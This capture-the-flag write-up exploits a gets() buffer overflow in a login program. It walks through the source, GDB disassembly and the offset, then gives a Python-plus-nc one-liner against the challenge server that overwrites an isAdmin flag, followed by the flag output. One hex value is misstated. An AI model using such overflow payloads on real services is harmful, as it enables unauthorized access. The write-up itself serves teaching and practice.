Junior Hacking Talent - Buffer Overflow Writeup
As always, we will be starting out with taking a peek at the source code. More specifically, the main function.
int main()
{
setbuf(stdout, 0);
char password[20];
char isAdmin = '0';
int loginAsUser;
banner();
printf("Đăng nhập với user:\n1. Nhập 1 là Admin\n2. Nhập 2 là Guest\n");
scanf("%d%*c",&loginAsUser);
if(loginAsUser == 2)
guest_account();
else if(loginAsUser == 1)
{
admin_account();
printf("Nhập password:\n");
gets(password); // Hella sús ngl
if(!strncmp(password,admin_password,20))
isAdmin = '1';
else
wrong_password();
}
if(isAdmin == '1')
print_flag();
return 0;
}
What jumped at me is the gets() function used when reading the password.
According to The Linux Manual:
GETS(3) Linux Programmer's Manual GETS(3)
NAME
gets - get a string from standard input (DEPRECATED)
SYNOPSIS
#include <stdio.h>
char *gets(char *s);
DESCRIPTION
Never use this function.
...
BUGS
Never use gets(). Because it is impossible to tell without knowing the
data in advance how many characters gets() will read, and because gets()
will continue to store characters past the end of the buffer, it is
extremely dangerous to use. It has been used to break computer security.
Use fgets() instead.
So yeah, gets() isn’t what you should be using when taking input as it introduces a vulnerability called Buffer Overflow.
char password[20];
char isAdmin = '0';
What this means is that, if we were able to overflow the password
buffer, we
can overwrite the value stored in the isAdmin
variable. We’ll be overwriting
isAdmin
with ‘1’, which will give us the flag needed.
if(isAdmin == '1')
print_flag();
Trying to run the binary by itself and logging in as Admin with a random
password presents an error: password.txt không tồn tại
which translates
roughly to password.txt does not exist
. This can be quickly fixed with a
dummy file created with
echo "amina koyayim" > password.txt
Let’s load binary up inside GDB with gdb -q ./bof
.
gdb> disass main
Dump of assembler code for function main:
...
0x08048834 <+146>: sub esp,0xc
0x08048837 <+149>: lea eax,[ebp-0x1d]
0x0804883a <+152>: push eax
0x0804883b <+153>: call 0x8048450 <gets@plt>
0x08048840 <+158>: add esp,0x10
0x08048843 <+161>: sub esp,0x4
0x08048846 <+164>: push 0x14
...
0x08048880 <+222>: lea esp,[ecx-0x4]
0x08048883 <+225>: ret
End of assembler dump.
We can see that the gets() function will be executed at the address
0x0804883b
. Let’s set a breakpoint there and continue execution.
gdb> bp 0x0804883b
Breakpoint 1 at 0x804883b
gdb> r
Starting program: /home/dong/IT/bof/bof
-------------------------
| |
| ĐĂNG NHẬP |
| |
| ------------------- |
| |Admin | |
| ------------------- |
| |
| Guest Session |
-------------------------
Đăng nhập với user:
1. Nhập 1 là Admin
2. Nhập 2 là Guest
1
-------------------------
| |
| Admin |
| |
| ------------------- |
| | ***** | |
| ------------------- |
| |
| |
-------------------------
Nhập password:
Taking a closer look at the gets() instruction itself, since we know that
gets() only take one argument (arg[0]) which contains the address to input
buffer (0xffffd5db
).
► 0x804883b <main+153> call gets@plt <gets@plt>
arg[0]: 0xffffd5db ◂— 0x488dbff
arg[1]: 0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af10 (_DYNAMIC) ◂— 0x1
arg[2]: 0xffffd5f8 ◂— 0x0
arg[3]: 0x8048822 (main+128) ◂— sub esp, 0xc
Below that, we can see the flow of the program depends on whether the pointer to
[ebp - 9]
matches 0x31
or not.
0x804886a <main+200> cmp byte ptr [ebp - 9], 0x31
0x804886e <main+204> jne main+211 <main+211>
0x8048870 <main+206> call print_flag <print_flag>
This corresponds to the if
statement we saw earlier in the C source code.
if(isAdmin == '1')
print_flag();
So that’s exactly what we’ll be doing - making sure that the program
call print_flag
by overwriting the value inside [ebp - 9]
. To calculate the
offset from the input buffer to [ebp - 9]
, we can take [ebp - 9]
and
subtract it by the value of arg[0]
.
gdb> print $ebp-0x9-0xffffd5db
$1 = (void *) 0x14
0x04 translates to 20 bytes which is also the length of padding that we’ll need
to give gets() in order to reach [ebp - 9]
. After that, we can simply add
0x31
at the end of the padding data to overwrite the value inside [ebp - 9]
.
A short exploit code can be written like so:
print("1\nCu64_From_Kernal.eu/" + "\x31")
Executing it against the CTF’s server will grant us the flag.
❯ python -c 'print("1\nCu64_From_Kernal.eu/" + "\x31")' | nc 188.166.233.168 4791
-------------------------
| |
| ĐĂNG NHẬP |
| |
| ------------------- |
| |Admin | |
| ------------------- |
| |
| Guest Session |
-------------------------
Đăng nhập với user:
1. Nhập 1 là Admin
2. Nhập 2 là Guest
-------------------------
| |
| Admin |
| |
| ------------------- |
| | ***** | |
| ------------------- |
| |
| |
-------------------------
Nhập password:
-------------------------
| |
| Admin |
| |
| |
| MẬT KHẨU KHÔNG ĐÚNG! |
| |
| |
| |
-------------------------
Chúc mừng em đã khai thác lỗ hổng Buffer Overflow thành công!
Đây là phần thưởng của em CTF{Buff4r_0v3rfl0w}